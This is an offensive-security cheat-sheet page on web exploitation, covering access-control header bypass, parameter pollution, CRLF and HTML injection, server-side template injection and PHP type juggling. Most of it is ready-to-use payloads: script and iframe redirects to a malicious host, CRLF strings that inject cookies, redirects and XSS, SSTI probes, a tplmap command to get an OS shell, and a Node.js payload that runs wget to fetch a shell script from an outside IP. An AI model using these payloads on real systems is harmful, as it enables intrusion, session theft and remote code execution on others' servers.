Howlsec
HOWLSEC
offensive security
// notes/ Web Exploitation
🕸️

Access Control & Misc Web Attacks

Broken access control, type confusion, special-character abuse, and lesser-known web bugs.

#access control#idor#web

Access Control & Misc Web Attacks

X-Original-URL

Can circumvent URL based access control.

X-Original-URL: /admin

HPP _ HTTP Parameter Pollution

In this example, the attacker is injecting an additional "q" parameter into the URL. This could potentially allow the attacker to bypass input validation or manipulate the application's logic, depending on how the application handles the additional parameter.

🐺 howlsec@kali
01POST /search HTTP/1.1
02Host: example.com
03Content-Type: application/x-www-form-urlencoded
04 
05q=test&q=test2

HRS _ HTTP Response Splitting

🐺 howlsec@kali
01POST / HTTP/1.1
02Host: example.com
03Content-Type: application/x-www-form-urlencoded
04 
05param=value&header=Content-Type: text/html%0d%0aX-Custom-Header: injected content

HTML Injection

HTML injection is a type of security vulnerability that occurs when a attacker is able to inject malicious HTML code into a web page viewed by other users. This can have a variety of impacts, including:
  • Stealing sensitive information from users, such as login credentials or personal information.
  • Redirecting users to malicious websites, potentially leading to further compromise or phishing attacks.
  • Modifying the appearance of a website, potentially misleading users and damaging the website's reputation.
  • Executing scripts on the user's computer, potentially allowing the attacker to take control of the user's device.
It is important for web developers to validate and sanitize user input to prevent HTML injection and other types of injection attacks.
🐺 howlsec@kali
01<iframe src=//malicious-website.com/toplevel.html></iframe>
🐺 howlsec@kali
01<html><head></head><body><script>top.window.location = "<https://malicious-website.com/pwned.html>"</script></body></html>

Sometimes you can use this to perform SSRF. And if you're in a cloud environment where you can make meta-data requests, this can get nasty fast.

Response Manipulation

Intercept and copy server response on valid request and copy it over to when you get an invalid response.

https://www.youtube.com/results?search_query=resposne+manipulation

CRLF Injection

CR and LF are control characters or bytecode that can be used to mark a line break in a text file. CR = Carriage Return ( \r , 0x0D in hexadecimal, 13 in decimal) — moves the cursor to the beginning of the line without advancing to the next line.

You can use %0d (carriage return, aka take cursor to start) and then %0a (newline) to trick the application into thinking the input starts here.

🐺 howlsec@kali
01/%0d%0aSet-cookie:%20CRLF=%20CRLF
02/%0aSet-cookie: CRLF%0a%0a<img src=x onerror=alert(9)>
03/%0d%0aLocation:%20http://www.evilzone.org
04/%0d%0a%0d%0a 
05 
06%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2e%2e

https://youtu.be/0R3w3JSGCIw?list=PLtiuVR3b_k4DlnU97uvXDyErEdFd4diDx&t=33

Use these payloads on webroot and paramaters like search: https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md https://github.com/cujanovic/CRLF-Injection-Payloads/blob/master/CRLF-payloads.txt https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CRLF%20Injection/crlfinjection.txt

Race Conditions

Race conditions:

Exceed number of coupons intended. Exceed number of f.ex projects allowed on a free trial.

SSRF

SSRF Basics: https://www.youtube.com/watch?v=eVI0Ny5cZ2c

SSRF wrappers and techniques: https://highon.coffee/blog/ssrf-cheat-sheet/

probe internal subdomains, and also external, leveraging ssrf https://github.com/assetnote/surf

SSTI

Server Side Template Injection https://youtu.be/rJ-l_JSdUlE?list=PLkCYUwlLOT2oU3iwjCi2MiwaUvZrPFZl9&t=3860 https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection

SSTI:

Attempt SSTI in fields. (Use in intruder) http://somesite.com/user/settings?username={{7*7}}

@(4*5) {{7*7}} ${7*7} ${{7*7}} ${{<%[%'"}}%\ <%= 7*7 %> <%=7*7%> <#assign x=7*7>${x} {% nosuchtag %} {self} {{self}} ${{7*7}} #{7*7} *{7*7}

Get shell if SSTI is present: https://github.com/epinna/tplmap tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell

Test in: Query string paramater, ex: http://example.com/page?name=value cookies Path paramaters, ex:http://example.com/page/value (Insert into the value area, it's a path paramater) Form Fields

Test for blind: res.end(require('child_process')execSync('wget 10.11.1.42/uwu.sh').toString())

PHP Type Juggling

https://www.youtube.com/watch?v=_Zr84AeHECA&t=201s unnamed_39060c76c4864846bc4c749caaf098d1

If you can change the request type to json, you can make the application interpret the password as an integer, and not a string. And due to type confusoin in php (still an issue), and if the developers haven't thought of this, it's possible to make this evaluate to true, and therefore bypassing authentification.

Type Confusion in MySQL Node.js

https://youtu.be/ZANv0DlrTN8?t=814